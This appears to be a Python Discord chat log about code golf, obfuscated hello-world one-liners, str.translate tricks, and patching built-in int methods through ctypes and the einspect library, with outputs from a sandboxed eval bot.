for a in sys.argv[1:]:h=memoryview(bytearray(a,"utf")).hex(" ",-2);[print(f"{i*16:08x}: {j:<41}"+bytes.fromhex(j).decode().replace("\n","."))for i,j in enumerate([h[i:i+40]for i in range(0,len(h),40)])];print()```
why memoryview(bytearray(a,"utf"))?
isnt a.encode() doing the same?
a.encode("hex") gives LookupError: unknown encoding: hex
do a.encode().hex(" ", -2)
idk what thats doing but its wrong
instead of 436f 6465 2047 6f6c 66 it gives 3433 3666 2036 3436 3520 3230 3437 2036 6636 6320 3636
``` !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[]^_`abcdefghijklmnopqrstuvwxyz{|}~
identical
import sys
for a in sys.argv[1:]:h=a.encode().hex(" ",-2);print(*[f"{i//40*16:08x}: {h[i:i+40]:<41}"+a[i//5:i//5+16]for(i)in range(0,len(h),40)],'',sep='\n')
``` 156
did away with the entire inner loop + enumerate by just using i//40 and got rid of bytes.fromhex(j).decode().replace("\n",".") with a[i//5:i//5+16] ( i just realized I am missing the newline removal)
import sys
for a in sys.argv[1:]:h=a.encode().hex(" ",-2);print(*[f"{i//40*16:08x}: {h[i:i+40]:<41}"+a[i//5:i//5+16].replace("\n",".")for(i)in range(0,len(h),40)],'',sep='\n')``` *173
actually my offsets are off a bit
ive a vague idea of how you did that but ive no clue how to fix it
or where you pulled the values like i//5 from
!e ```py
import sys
sys.argv.append(' !"#$%&'()*+,-./0123456789:;<=> @ABCDEFGHIJKLMNOPQRSTUVWXYZ[]^_`abcdefghijklmnopqrstuvwxyz{|}~')
for a in sys.argv[1:]:[print(f'{i:08x}: {(s:=a[i:i+16]).encode().hex(" ",-2):<41}'+s.replace('\n','.'))for(i)in range(0,len(a),16)];print()
@rugged sparrow :white_check_mark: Your 3.11 eval job has completed with return code 0.
001 | 00000000: 2021 2223 2425 2627 2829 2a2b 2c2d 2e2f !"#$%&'()*+,-./
002 | 00000010: 3031 3233 3435 3637 3839 3a3b 3c3d 3e20 0123456789:;<=>
003 | 00000020: 4041 4243 4445 4647 4849 4a4b 4c4d 4e4f @ABCDEFGHIJKLMNO
004 | 00000030: 5051 5253 5455 5657 5859 5a5b 5c5d 5e5f PQRSTUVWXYZ[\]^_
005 | 00000040: 6061 6263 6465 6667 6869 6a6b 6c6d 6e6f `abcdefghijklmno
006 | 00000050: 7071 7273 7475 7677 7879 7a7b 7c7d 7e pqrstuvwxyz{|}~
ended up flipping the logic, splitting the input into 16 character chunks and then converting to hex
yea I was doing the math in my head and realized it would be better to just invert the steps
147 ```py
import sys
for a in sys.argv[1:]:[print(f'{i:08x}: {(s:=a[i:i+16]).encode().hex(" ",-2):<41}'+s.replace(*'\n.'))for i in range(0,len(a),16)];print()
!e ```py
import sys
sys.argv.append(' !"#$%&'()+,-./0123456789:;<=> @ABCDEFGHIJKLMNOPQRSTUVWXYZ[]^_`abcdefghijklmnopqrstuvwxyz{|}~')
for a in sys.argv[1:]:[print(f'{i:08x}: {(s:=a[i:i+16]).encode().hex(" ",-2):<41}'+s.replace('\n.'))for i in range(0,len(a),16)];print()
@quartz wave :white_check_mark: Your 3.11 eval job has completed with return code 0.
001 | 00000000: 2021 2223 2425 2627 2829 2a2b 2c2d 2e2f !"#$%&'()*+,-./
002 | 00000010: 3031 3233 3435 3637 3839 3a3b 3c3d 3e20 0123456789:;<=>
003 | 00000020: 4041 4243 4445 4647 4849 4a4b 4c4d 4e4f @ABCDEFGHIJKLMNO
004 | 00000030: 5051 5253 5455 5657 5859 5a5b 5c5d 5e5f PQRSTUVWXYZ[\]^_
005 | 00000040: 6061 6263 6465 6667 6869 6a6b 6c6d 6e6f `abcdefghijklmno
006 | 00000050: 7071 7273 7475 7677 7879 7a7b 7c7d 7e pqrstuvwxyz{|}~
yep
clever using the *'\n.'
I don't understand this part
It expands the 2 character string into 2 arguments passed into replace
making good use of my discovery in 2022's AoC
um
i dont even know at this point
it creates a type with a method Q that prints stuff, then instantiates it and calls the method
___ uses __builtins__ to get print, _____ does the same thing to get chr, theres a type somewhere there to initialize a class, and the whole ton of __add__s concatenate characters gotten from chr
and that
the other stuff is basically just fluff around this: type("",(),{"Q":(lambda: print("hello world"))})().Q()
that's the core of it
!e
(___:=eval(__builtins__.__dir__().__getitem__((420).__floordiv__(__import__.__dir__().__len__().__sub__(20)))),_____:=lambda __: eval(__builtins__.__dir__().__getitem__(14))(__),eval(__builtins__.__dir__().__getitem__(__builtins__.__dir__().__len__().__floordiv__(__builtins__.__dir__().__getitem__(__import__.__dir__().__len__().__sub__(__name__.__doc__.__len__().__floordiv__(__builtins__.__doc__.__len__()))).__len__()).__sub__(__name__.__dir__().__len__().__sub__(__import__.__dir__().__len__()).__sub__(__package__.__dir__().__len__()).__sub__(__package__.__dir__().__len__())).__add__(4)))(chr(__import__.__dir__().__len__().__add__(__builtins__.__dir__().__len__())), (eval(__builtins__.__dir__().__getitem__(__builtins__.__dir__().__len__().__floordiv__(__builtins__.__dir__().__getitem__(__import__.__dir__().__len__().__sub__(__name__.__doc__.__len__().__floordiv__(__builtins__.__doc__.__len__()))).__len__()).__sub__(10))), ), {chr(__name__.__dir__().__len__()):(lambda _: ___(_____(72).__add__(_____(101)).__add__(_____(108)).__add__(_____(108)).__add__(_____(111)).__add__(_____(32)).__add__(_____(119)).__add__(_____(111)).__add__(_____(114)).__add__(_____(108)).__add__(_____(100)).__add__(_____(33))))})()._____(__builtins__.__dir__().__len__().__floordiv__(__name__.__dir__().__len__().__sub__(__import__.__dir__().__len__()).__sub__(__package__.__dir__().__len__()).__sub__(__package__.__dir__().__len__())).__add__(__name__.__dir__().__len__().__sub__(__import__.__dir__().__len__()).__sub__(__package__.__dir__().__len__()).__sub__(__package__.__dir__().__len__()))),__add(__name__.__dir__().__len__().__sub__(__import__.__dir__().__len__()).__sub__(__package__.__dir__().__len__()).__sub__(__package__.__dir__().__len__()))))))```
@unique heath :x: Your 3.11 eval job has completed with return code 1.
001 | File "/home/main.py", line 1
002 | (___:=eval(__builtins__.__dir__().__getitem__((420).__floordiv__(__import__.__dir__().__len__().__sub__(20)))),_____:=lambda __: eval(__builtins__.__dir__().__getitem__(14))(__),eval(__builtins__.__dir__().__getitem__(__builtins__.__dir__().__len__().__floordiv__(__builtins__.__dir__().__getitem__(__import__.__dir__().__len__().__sub__(__name__.__doc__.__len__().__floordiv__(__builtins__.__doc__.__len__()))).__len__()).__sub__(__name__.__dir__().__len__().__sub__(__import__.__dir__().__len__()).__sub__(__package__.__dir__().__len__()).__sub__(__package__.__dir__().__len__())).__add__(4)))(chr(__import__.__dir__().__len__().__add__(__builtins__.__dir__().__len__())), (eval(__builtins__.__dir__().__getitem__(__builtins__.__dir__().__len__().__floordiv__(__builtins__.__dir__().__getitem__(__import__.__dir__().__len__().__sub__(__name__.__doc__.__len__().__floordiv__(__builtins__.__doc__.__len__()))).__len__()).__sub__(10))), ), {chr(__name__.
... (truncated - too long)
Full output: https://paste.pythondiscord.com/ufeyapebaj.txt?noredirect
This just looked interesting so wanted to ask, what's the project about?
type("¼", (object, ), {"Q": lambda: print("Hello, world!"}).Q()
they inherit from object by default
and since the name isn't ever used, it's not relevant
f l u f f
(___:=eval(__builtins__.__dir__().__getitem__((420).__floordiv__(__import__.__dir__().__len__().__sub__(20)))),_____:=lambda __: eval(__builtins__.__dir__().__getitem__(14))(__),eval(__builtins__.__dir__().__getitem__(__builtins__.__dir__().__len__().__floordiv__(__builtins__.__dir__().__getitem__(__import__.__dir__().__len__().__sub__(__name__.__doc__.__len__().__floordiv__(__builtins__.__doc__.__len__()))).__len__()).__sub__(__name__.__dir__().__len__().__sub__(__import__.__dir__().__len__()).__sub__(__package__.__dir__().__len__()).__sub__(__package__.__dir__().__len__())).__add__(4)))(chr(__import__.__dir__().__len__().__add__(__builtins__.__dir__().__len__())), (eval(__builtins__.__dir__().__getitem__(__builtins__.__dir__().__len__().__floordiv__(__builtins__.__dir__().__getitem__(__import__.__dir__().__len__().__sub__(__name__.__doc__.__len__().__floordiv__(__builtins__.__doc__.__len__()))).__len__()).__sub__(10))), ), {chr(__name__.__dir__().__len__()):(lambda _: ___(_____(65).__add__(_____(112)).__add__(_____(114)).__add__(_____(105)).__add__(_____(108)).__add__(_____(32)).__add__(_____(70)).__add__(_____(111)).__add__(_____(111)).__add__(_____(108)).__add__(_____(115)).__add(_____(33))))})().Q())```
esoteric fools!
(i did put the py there, but the line was so llong discord wouldnt format it)
guys ive got a challenge, shortest code that prints the Fibonacci sequence
infinitely or?
because this is one of the challenges on code golf
not a project just want to golf it
it's just a hexdump
hey, I have a file which contains many 4 digit long numbers.
I want to create a 2d array out of it.
grid = [[*l[:-1]] for l in open("image")] I'm doing this rn but the problem is that the last line doesn't have a \n so it just cuts the last digit of the last number in that file
what would be the shortest way to open such a file and store it in array?
is each number separated by a \n?
and you want the result to be [[1010],[0101]...]?
[[1,0,1,0],[0,1,0,1]...]
ah ok
if they are always of len 4, you can do l[:4]
then probably
[[*l][:-(l[-1]=='\n')or None]for l in f]
i guess the easiest solution would be just editing the file by hand
and just pressing enter at the end of file xD
yea, you can do this ig
[[*l[:-1]]for l in open('...')+'\n']
[:None] is just [:]
does *l.strip() not work?
its like 3 chars longer than the original solution
*map(int,l.strip())
yea lmao
[[*map(int,l)]for l in open(0).read().split('\n')]
Yeah I guess
Oh huh
x=y=1
while x:print(y);x,y=x+y,x
@sick hound he says that
space = print
is possible while i dont think it is. can someone show me an example where this actually will work?
You'll see
everything is possible :))
idk why but this make me feel sick
in bytecode
anything is a valid identifier in bytecode
starts with 0 ```py
x=y=1
while 1:print(y:=x-y);x+=y
I learned it starting at 1 and 1, but it varies:
i'm just providing another version that starts with 0, not saying that it does start with 0
Ah, okay, I see what you mean. 👍
can someone explain this?
print("Sh by are,.\nSo if onnore.".translate("| seash|ells|ore,\nThe| sh|e s| I'm sure| the".split("|")))
!eval py print("Sh by are,.\nSo if onnore.".translate("| seash|ells|ore,\nThe| sh|e s| I'm sure| the".split("|")))
@long fulcrum :white_check_mark: Your 3.11 eval job has completed with return code 0.
001 | She sells seashells by the seashore,
002 | The shells she sells are seashells, I'm sure.
003 | So if she sells seashells on the seashore,
004 | Then I'm sure she sells seashore shells.
!d str.translate
str.translate(table)```
Return a copy of the string in which each character has been mapped through the given translation table. The table must be an object that implements indexing via `__getitem__()`, typically a [mapping](https://docs.python.org/3/glossary.html#term-mapping) or [sequence](https://docs.python.org/3/glossary.html#term-sequence). When indexed by a Unicode ordinal (an integer), the table object can do any of the following: return a Unicode ordinal or a string, to map the character to one or more other characters; return `None`, to delete the character from the return string; or raise a [`LookupError`](https://docs.python.org/3/library/exceptions.html#LookupError "LookupError") exception, to map the character to itself.
You can use [`str.maketrans()`](https://docs.python.org/3/library/stdtypes.html#str.maketrans "str.maketrans") to create a translation map from character-to-character mappings in different formats.
See also the [`codecs`](https://docs.python.org/3/library/codecs.html#module-codecs "codecs: Encode and decode data and streams.") module for a more flexible approach to custom character mappings.
yeah I looked at that but it didnt make sense
i know it has something to do with the way the chars that dont display have the same hex value as the stuff in the translate
!eval py print(repr("Sh by are,.\nSo if onnore."))
@earnest wing :white_check_mark: Your 3.11 eval job has completed with return code 0.
'Sh\x05\x02\x01\x02 by\x07\x01\x03\x04\x02\x04\x05\x02 are\x01\x02,\x06.\nSo if\x04\x05\x02\x01\x02 on\x07\x01\x03n\x06\x04\x05\x02\x01ore\x04\x02.'
there's your explanation
but how does that work with the translate
\x01 becomes the [1]st value in the translate list
whats wrong with this?
print(" a\nA .\nIf a ,\nWhere's the ?".translate("Peter Piper picked|peck of pickled peppers").split("|"))```
!eval
print(" a\nA .\nIf a ,\nWhere's the ?".translate("Peter Piper picked|peck of pickled peppers").split("|"))```
@long fulcrum :white_check_mark: Your 3.11 eval job has completed with return code 0.
['eeatrAtee.rIfeeeaet,rWhereesethetee?']
!eval
print(repr(" a\nA .\nIf a ,\nWhere's the ?"))```
@long fulcrum :white_check_mark: Your 3.11 eval job has completed with return code 0.
"\x01 a\x02\nA\x02 \x01.\nIf \x01 a \x02,\nWhere's the\x02 \x01?"
it looks right to me
nvm im an idiot
(___:=eval(__builtins__.__dir__().__getitem__((420).__floordiv__(__import__.__dir__().__len__().__sub__(20)))),_____:=lambda __: eval(__builtins__.__dir__().__getitem__(14))(__),eval(__builtins__.__dir__().__getitem__(__builtins__.__dir__().__len__().__floordiv__(__builtins__.__dir__().__getitem__(__import__.__dir__().__len__().__sub__(__name__.__doc__.__len__().__floordiv__(__builtins__.__doc__.__len__()))).__len__()).__sub__(__name__.__dir__().__len__().__sub__(__import__.__dir__().__len__()).__sub__(__package__.__dir__().__len__()).__sub__(__package__.__dir__().__len__())).__add__(4)))(chr(__import__.__dir__().__len__().__add__(__builtins__.__dir__().__len__())), (eval(__builtins__.__dir__().__getitem__(__builtins__.__dir__().__len__().__floordiv__(__builtins__.__dir__().__getitem__(__import__.__dir__().__len__().__sub__(__name__.__doc__.__len__().__floordiv__(__builtins__.__doc__.__len__()))).__len__()).__sub__(10))), ), {chr(__name__.__dir__().__len__()):(lambda _: ___(_____(69).__add__(_____(115).__add__(_____(111).__add__(_____(116).__add__(_____(101).__add__(_____(114).__add__(_____(105).__add__(_____(99).__add__(_____(32).__add__(_____(69).__add__(_____(97).__add__(_____(115).__add__(_____(116).__add__(_____(101).__add__(_____(114).__add__(_____(33)))))))))))))))))))})().Q())```
esoteric easter!
(i did put the py there, but the line was so llong discord wouldnt format it)
!e
(___:=eval(__builtins__.__dir__().__getitem__((420).__floordiv__(__import__.__dir__().__len__().__sub__(20)))),_____:=lambda __: eval(__builtins__.__dir__().__getitem__(14))(__),eval(__builtins__.__dir__().__getitem__(__builtins__.__dir__().__len__().__floordiv__(__builtins__.__dir__().__getitem__(__import__.__dir__().__len__().__sub__(__name__.__doc__.__len__().__floordiv__(__builtins__.__doc__.__len__()))).__len__()).__sub__(__name__.__dir__().__len__().__sub__(__import__.__dir__().__len__()).__sub__(__package__.__dir__().__len__()).__sub__(__package__.__dir__().__len__())).__add__(4)))(chr(__import__.__dir__().__len__().__add__(__builtins__.__dir__().__len__())), (eval(__builtins__.__dir__().__getitem__(__builtins__.__dir__().__len__().__floordiv__(__builtins__.__dir__().__getitem__(__import__.__dir__().__len__().__sub__(__name__.__doc__.__len__().__floordiv__(__builtins__.__doc__.__len__()))).__len__()).__sub__(10))), ), {chr(__name__.__dir__().__len__()):(lambda _: ___(_____(69).__add__(_____(115).__add__(_____(111).__add__(_____(116).__add__(_____(101).__add__(_____(114).__add__(_____(105).__add__(_____(99).__add__(_____(32).__add__(_____(69).__add__(_____(97).__add__(_____(115).__add__(_____(116).__add__(_____(101).__add__(_____(114).__add__(_____(33)))))))))))))))))))})().Q())```
@unique heath :x: Your 3.11 eval job has completed with return code 1.
001 | File "/home/main.py", line 1
002 | (___:=eval(__builtins__.__dir__().__getitem__((420).__floordiv__(__import__.__dir__().__len__().__sub__(20)))),_____:=lambda __: eval(__builtins__.__dir__().__getitem__(14))(__),eval(__builtins__.__dir__().__getitem__(__builtins__.__dir__().__len__().__floordiv__(__builtins__.__dir__().__getitem__(__import__.__dir__().__len__().__sub__(__name__.__doc__.__len__().__floordiv__(__builtins__.__doc__.__len__()))).__len__()).__sub__(__name__.__dir__().__len__().__sub__(__import__.__dir__().__len__()).__sub__(__package__.__dir__().__len__()).__sub__(__package__.__dir__().__len__())).__add__(4)))(chr(__import__.__dir__().__len__().__add__(__builtins__.__dir__().__len__())), (eval(__builtins__.__dir__().__getitem__(__builtins__.__dir__().__len__().__floordiv__(__builtins__.__dir__().__getitem__(__import__.__dir__().__len__().__sub__(__name__.__doc__.__len__().__floordiv__(__builtins__.__doc__.__len__()))).__len__()).__sub__(10))), ), {chr(__name__.
... (truncated - too long)
Full output: https://paste.pythondiscord.com/ikuyofuqox.txt?noredirect
fu-
Interestingly, on mobile it does highlight that code
!e
(___:=eval(__builtins__.__dir__().__getitem__((420).__floordiv__(__import__.__dir__().__len__().__sub__(20)))),_____:=lambda __: eval(__builtins__.__dir__().__getitem__(14))(__),eval(__builtins__.__dir__().__getitem__(__builtins__.__dir__().__len__().__floordiv__(__builtins__.__dir__().__getitem__(__import__.__dir__().__len__().__sub__(__name__.__doc__.__len__().__floordiv__(__builtins__.__doc__.__len__()))).__len__()).__sub__(__name__.__dir__().__len__().__sub__(__import__.__dir__().__len__()).__sub__(__package__.__dir__().__len__()).__sub__(__package__.__dir__().__len__())).__add__(4)))(chr(__import__.__dir__().__len__().__add__(__builtins__.__dir__().__len__())), (eval(__builtins__.__dir__().__getitem__(__builtins__.__dir__().__len__().__floordiv__(__builtins__.__dir__().__getitem__(__import__.__dir__().__len__().__sub__(__name__.__doc__.__len__().__floordiv__(__builtins__.__doc__.__len__()))).__len__()).__sub__(10))), ), {chr(__name__.__dir__().__len__()):(lambda _: ___(_____(72).__add__(_____(101)).__add__(_____(108)).__add__(_____(108)).__add__(_____(111)).__add__(_____(32)).__add__(_____(119)).__add__(_____(111)).__add__(_____(114)).__add__(_____(108)).__add__(_____(100)).__add__(_____(33))))})().Q())```
@sick hound :white_check_mark: Your 3.11 eval job has completed with return code 0.
Hello world!
anyone know if it is possible to do async lambdas?
!e ```py
(lambda x: await x)
@quartz wave :x: Your 3.11 eval job has completed with return code 1.
001 | File "/home/main.py", line 1
002 | (lambda x: await x)
003 | ^^^^^^^
004 | SyntaxError: 'await' outside async function
oof
!e ```py
(async lambda x: await x)
@gleaming linden :x: Your 3.11 eval job has completed with return code 1.
001 | File "/home/main.py", line 1
002 | (async lambda x: await x)
003 | ^^^^^
004 | SyntaxError: invalid syntax
lambda x: (await x for _ in '_').__anext__()
!e
code
!eval [python_version] <code, ...>
Can also use: e
Run Python code and get the results.
This command supports multiple lines of code, including formatted code blocks. Code can be re-evaluated by editing the original message within 10 seconds and clicking the reaction that subsequently appears.
The starting working directory /home, is a writeable temporary file system. Files created, excluding names with leading underscores, will be uploaded in the response.
If multiple codeblocks are in a message, all of them will be joined and evaluated, ignoring the text outside them.
By default, your code is run on Python 3.11. A python_version arg of 3.10 can also be specified.
We've done our best to make this sandboxed, but do let us know if you manage to find an issue with it!
!e print("hello")
@fathom forum :white_check_mark: Your 3.11 eval job has completed with return code 0.
hello
!e
while True:
print("hello")
@fathom forum :x: Your 3.11 eval job has completed with return code 143 (SIGTERM).
001 | hello
002 | hello
003 | hello
004 | hello
005 | hello
006 | hello
007 | hello
008 | hello
009 | hello
010 | hello
011 | hello
... (truncated - too many lines)
Full output: too long to upload
#bot-commands
Oooh sorry got too distracted
@versed eagle sorry for the ping but some news about my obfuscator
i completed the unparser class (UnparseObfuscate) and updated README.md to use that class instead
note that it might use python keywords because i don't know how to replace those
sometimes I wish python let you declare dict keys as bare strings, like in js
!e
def json(
foo: "bar",
blah: "abc"
): pass
print(json.__annotations__)
@radiant anchor :white_check_mark: Your 3.11 eval job has completed with return code 0.
{'foo': 'bar', 'blah': 'abc'}
!e ```py
json = dict(
foo='bar',
blah='abc',
)
print(json)
@fleet bridge :white_check_mark: Your 3.11 eval job has completed with return code 0.
{'foo': 'bar', 'blah': 'abc'}
I want my colons tho :(
class json:
foo: 'bar'
blah: 'abc'
print(json.__annotations__)
# or with `from __future__ import annotations`:
class json:
foo: bar
blah: abc
print(json.__annotations__)
I want my colons and commas :P
ideally it would work as an expression too, but seems like you can't have annotations within expressions, only statements
I didn't know about the from __future__ import annotations style though, that's neat
mydict = ... # some function that calls all lambdas with one dummy argument and extracts name of the first arg from every lambda
json = mydict(
lambda foo: 'bar',
lambda blah: 'abc',
)
ooo
thanks for letting me know! I'll check it out once i get home
!e ```py
def mydict(*funcs):
return {
func.code.co_varnames[0]: func(None)
for func in funcs
}
print(mydict(
lambda foo: 'bar',
lambda blah: 'abc',
))```
@rugged sparrow :white_check_mark: Your 3.11 eval job has completed with return code 0.
{'foo': 'bar', 'blah': 'abc'}
👍
!e print("hellow world")
@gritty smelt :white_check_mark: Your 3.11 eval job has completed with return code 0.
hellow world
can someone help
a = input().split()
b = list(reversed(a.copy()))
reverse = ' '.join([b[i] if b[i] not in '''!()-[]{};:'"\,<>./?@#$%^&*_~''' else a[i] for i in range(len(b))])
print(reverse)```
trying to reverse string retaing punctuations
what is this supposed to do
what does that mean
input:hello bob!
output:bob hello!
the .split() produces ['hello', 'bob!']
reversing that will produce ['bob!', 'hello']
im not able to
a = input().split()
b = list(reversed(' '.join(a).split()))
reverse = ' '.join([b[i] if b[i] not in '''!()-[]{};:'"\,<>./?@#$%^&*_~''' else a[-i] for i in range(len(b))])
print(reverse)
list(reversed(' '.join(a).split())) looks like nonsense to me
that's just a[::-1] right?
How a code golfer could do it, maybe
a=input().split();b=a[::-1];reverse=' '.join([b[i]if b[i]not in'''!()-[]{};:'"\,<>./?@#$%^&*_~'''else a[-i]for i in range(len(b))]);print(reverse)
I think i have a working solution but i first repcae with index see if it's a digit then i swap
+ill share progress 🙏
tried separating each character and making a list
i tried (backslash)' but it wouldnt let me
you mean \'?
yes
wdym it wouldn't let you
i cant 😭 , i imported solution tho
import re
def reverseWord(input):
words = re.findall(r'\w+|\W+', input)
i = 0
j = len(words) - 1
while i < j:
if not re.match(r'\w', words[i]):
i += 1
elif not re.match(r'\w', words[j]):
j -= 1
else:
words[i], words[j] = words[j], words[i]
i += 1
j -= 1
output = ''.join(words)
return output```
pls tell what more tho 🙏
@rugged sparrow @dry mirage anything I need to look out for when modifying base types? I'm modifying int with the
def foo(obj):
extractor = type('', (), {'__eq__': lambda s, o: o})()
return obj.__dict__ == extractor
method and I was wondering if there's anything I need to worry about
like memory issues etc
you need to call pythonapi.PyTypeModified anytime you directly modify a class dict to reload the classes cache
well, you're just mutating int.__dict__, so it's pretty safe, but many calls don't use the dict and go directly to the slot
like most operator methods

its not entirely safe, if they change any method it would invalidate the cache and introduce instability
!e
from einspect.api import Py
def get_dict(obj):
extractor = type('', (), {'__eq__': lambda s, o: o})()
return obj.__dict__ == extractor
get_dict(int)["__pow__"] = lambda s, o: "hi"
Py.Type.Modified(int)
n = 2
print(n ** 10)
@dry mirage :white_check_mark: Your 3.11 eval job has completed with return code 0.
1024
is pythonapi a module?
ctypes.pythonapi
ah thx
hmm
that used to crash hard
!e ```py
def get_dict(obj):
extractor = type('', (), {'eq': lambda s, o: o})()
return obj.dict == extractor
get_dict(int)['bit_length'] = lambda s:'broken'
print((1).bit_length())```
!e
from ctypes import pythonapi
def get_dict(obj):
extractor = type('', (), {'__eq__': lambda s, o: o})()
return obj.__dict__ == extractor
get_dict(int)["__pow__"] = lambda s, o: "hi"
pythonapi.PyType_Modified(int)
n = 2
print(n ** 10)
looks like run in 3.10 might be broken
from ctypes import pythonapi
PyType_Modified
@low lynx :x: Your 3.11 eval job has completed with return code 1.
001 | Traceback (most recent call last):
002 | File "/home/main.py", line 8, in <module>
003 | pythonapi.PyType_Modified(int)
004 | ctypes.ArgumentError: argument 1: TypeError: Don't know how to convert parameter 1
and you will need to set .argtypes =[py_object]

shouldn't the mutation of the dict from python do that itself? Otherwise any sometype.__dict__ mutation is unsafe? 
wdym by this
classes have a builtin cache that can point directly to their dictionary members and mutating the dict directly sometimes invalidates that cache
pythonapi.PyType_Modified.argtypes=...
ah
the pythonapi c functions aren't typed, so they assume to have arguments and return values of c_int
!e
from ctypes import pythonapi
def get_dict(obj):
extractor = type('', (), {'__eq__': lambda s, o: o})()
return obj.__dict__ == extractor
get_dict(int)["__pow__"] = lambda s, o: "hi"
pythonapi.PyType_Modified.argtypes=[int]
n = 2
print(n ** 10)
@low lynx :x: Your 3.11 eval job has completed with return code 1.
001 | Traceback (most recent call last):
002 | File "/home/main.py", line 8, in <module>
003 | pythonapi.PyType_Modified.argtypes=[int]
004 | ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
005 | TypeError: item 1 in _argtypes_ has no from_param method
!e ```py
class A:pass
A.dict['a'] = 1``` its disallowed for all types
@rugged sparrow :x: Your 3.11 eval job has completed with return code 1.
001 | Traceback (most recent call last):
002 | File "/home/main.py", line 3, in <module>
003 | A.__dict__['a'] = 1
004 | ~~~~~~~~~~^^^^^
005 | TypeError: 'mappingproxy' object does not support item assignment
it's
argtypes = [ctypes.py_object]
@dry mirage you wouldn't happen to know which allocator PyUnicode Writers use would you?
hm...
writers?
!e
from ctypes import pythonapi, py_object
def get_dict(obj):
extractor = type('', (), {'__eq__': lambda s, o: o})()
return obj.__dict__ == extractor
get_dict(int)["__pow__"] = lambda s, o: "hi"
pythonapi.PyType_Modified.argtypes = [py_object]
pythonapi.PyType_Modified(int)
n = 2
print(n ** 10)
I am writing a bug proof of concept that requires that i alloc a string directly where a list used to be
@low lynx :white_check_mark: Your 3.11 eval job has completed with return code 0.
1024
cache yes, but it does not touch slot members
hmm ok. I have had a ton of trouble getting the allocations to be predictably controllable
i also occasionally get the string before it is narrowed so its all wide chars, which doesnt work for my impl
isn't wstr gone in 3.11?
not internally
oh right its removed in 3.12
.format starts with wide chars and then narrows
is there an easy way in fishhook to like revert an entire class back to the original?
an entire class at once?
yeah
like I modify int a lot
and then I revert it back to int
or a way to like swap int with another class
you could do something like this ```py
from fishhook import hook, unhook
@hook.cls(int)
class int_hooks:
...
def unhook_int():
for attr in dir(int_hooks):
if getattr(int, attr) == getattr(int_hooks, attr):
unhook(int, attr)
!e I made a view(<type>).restore(*names) if that's useful
from einspect import impl, view
@impl(int)
def __repr__(self):
return "repr"
@impl(int)
def x(self):
return "x"
print(5)
print(5 .x())
view(int).restore()
print(5)
print(5 .x())
@dry mirage :x: Your 3.11 eval job has completed with return code 1.
001 | repr
002 | x
003 | 5
004 | Traceback (most recent call last):
005 | File "/home/main.py", line 17, in <module>
006 | print(5 .x())
007 | ^^^^^^
008 | TypeError: 'object' object is not callable
with no args it restores everything
that TypeError seems wrong if it restored everything
hm?
!e print(5 .x())
@rugged sparrow :x: Your 3.11 eval job has completed with return code 1.
001 | Traceback (most recent call last):
002 | File "/home/main.py", line 1, in <module>
003 | print(5 .x())
004 | ^^^^
005 | AttributeError: 'int' object has no attribute 'x'
hm...
!e TypeError: 'object' object is not callable can only be cause (normally) by py object()()
@rugged sparrow :x: Your 3.11 eval job has completed with return code 1.
001 | Traceback (most recent call last):
002 | File "/home/main.py", line 1, in <module>
003 | object()()
004 | TypeError: 'object' object is not callable
!e
from einspect import impl, view
@impl(int)
def __repr__(self):
return "repr"
@impl(int)
def x(self):
return "x"
print(5)
print(5 .x())
view(int).restore("__repr__", "x")
print(5)
print(5 .x)
@dry mirage :x: Your 3.11 eval job has completed with return code 1.
001 | repr
002 | x
003 | 5
004 | Traceback (most recent call last):
005 | File "/home/main.py", line 17, in <module>
006 | print(5 .x)
007 | ^^^^
008 | AttributeError: 'int' object has no attribute 'x'
yeah something is not working correctly with the implicit no arg version
!e ```py
from einspect import impl, view
@impl(int)
def x(self):
return "x"
print(id(5 .x))
view(int).restore()
print(id(5 .x))```
@rugged sparrow :white_check_mark: Your 3.11 eval job has completed with return code 0.
001 | 139812092623872
002 | 139812092170112
hmm so its a new object
without looking at the code i'd bet thats leaking some internal Sentinel value
yeah I stored a MISSING = object() instance for new attributes without originals
the no arg path didn't handle that apparently 😔

a
@unique heath :white_check_mark: Your 3.11 eval job has completed with return code 0.
['__name__', '__doc__', '__package__', '__loader__', '__spec__', '__build_class__', '__import__', 'abs', 'all', 'any', 'ascii', 'bin', 'breakpoint', 'callable', 'chr', 'compile', 'delattr', 'dir', 'divmod', 'eval', 'exec', 'format', 'getattr', 'globals', 'hasattr', 'hash', 'hex', 'id', 'input', 'isinstance', 'issubclass', 'iter', 'aiter', 'len', 'locals', 'max', 'min', 'next', 'anext', 'oct', 'ord', 'pow', 'print', 'repr', 'round', 'setattr', 'sorted', 'sum', 'vars', 'None', 'Ellipsis', 'NotImplemented', 'False', 'True', 'bool', 'memoryview', 'bytearray', 'bytes', 'classmethod', 'complex', 'dict', 'enumerate', 'filter', 'float', 'frozenset', 'property', 'int', 'list', 'map', 'object', 'range', 'reversed', 'set', 'slice', 'staticmethod', 'str', 'super', 'tuple', 'type', 'zip', '__debug__', 'BaseException', 'BaseExceptionGroup', 'Exception', 'GeneratorExit', 'KeyboardInterrupt', 'SystemExit', 'ArithmeticError', 'AssertionError', 'AttributeError', 'BufferError', 'EOFError', 'ImportError',
... (truncated - too long)
Full output: https://paste.pythondiscord.com/ififuticas.txt?noredirect
lmao
ew imagine not using snekbox/nvim
quick warning: snekbox (probably) uses 3.11.0
lmao
!e
(_____:=lambda __: eval(__builtins__.__dir__().__getitem__(14))(__),eval(__builtins__.__dir__().__getitem__(__builtins__.__dir__().__len__().__floordiv__(__builtins__.__dir__().__getitem__(__import__.__dir__().__len__().__sub__(__name__.__doc__.__len__().__floordiv__(__builtins__.__doc__.__len__()))).__len__()).__sub__(__name__.__dir__().__len__().__sub__(__import__.__dir__().__len__()).__sub__(__package__.__dir__().__len__()).__sub__(__package__.__dir__().__len__())).__add__(4)))(chr(__import__.__dir__().__len__().__add__(__builtins__.__dir__().__len__()))))
print(_____(66))
@unique heath :white_check_mark: Your 3.11 eval job has completed with return code 0.
B
!e
